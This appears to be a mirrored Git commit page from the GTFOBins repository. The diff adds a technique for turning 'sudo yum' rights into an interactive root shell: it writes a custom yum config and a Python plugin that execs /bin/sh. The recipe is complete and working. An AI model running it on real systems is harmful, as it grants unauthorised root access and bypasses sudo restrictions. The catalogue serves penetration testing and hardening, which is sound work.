mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Update sudo yum by loading a custom plugin (#58)
This commit is contained in:
parent
b9a262c600
commit
3702ec4d53
@ -10,4 +10,30 @@ functions:
|
||||
```
|
||||
code: |
|
||||
sudo yum localinstall -y x-1.0-1.noarch.rpm
|
||||
- description: |
|
||||
Spawn interactive root shell by loading a custom plugin.
|
||||
code: |
|
||||
TF=$(mktemp -d)
|
||||
cat >$TF/x<<EOF
|
||||
[main]
|
||||
plugins=1
|
||||
pluginpath=$TF
|
||||
pluginconfpath=$TF
|
||||
EOF
|
||||
|
||||
cat >$TF/y.conf<<EOF
|
||||
[main]
|
||||
enabled=1
|
||||
EOF
|
||||
|
||||
cat >$TF/y.py<<EOF
|
||||
import os
|
||||
import yum
|
||||
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
|
||||
requires_api_version='2.1'
|
||||
def init_hook(conduit):
|
||||
os.execl('/bin/sh','/bin/sh')
|
||||
EOF
|
||||
|
||||
sudo yum -c $TF/x --enableplugin=y
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user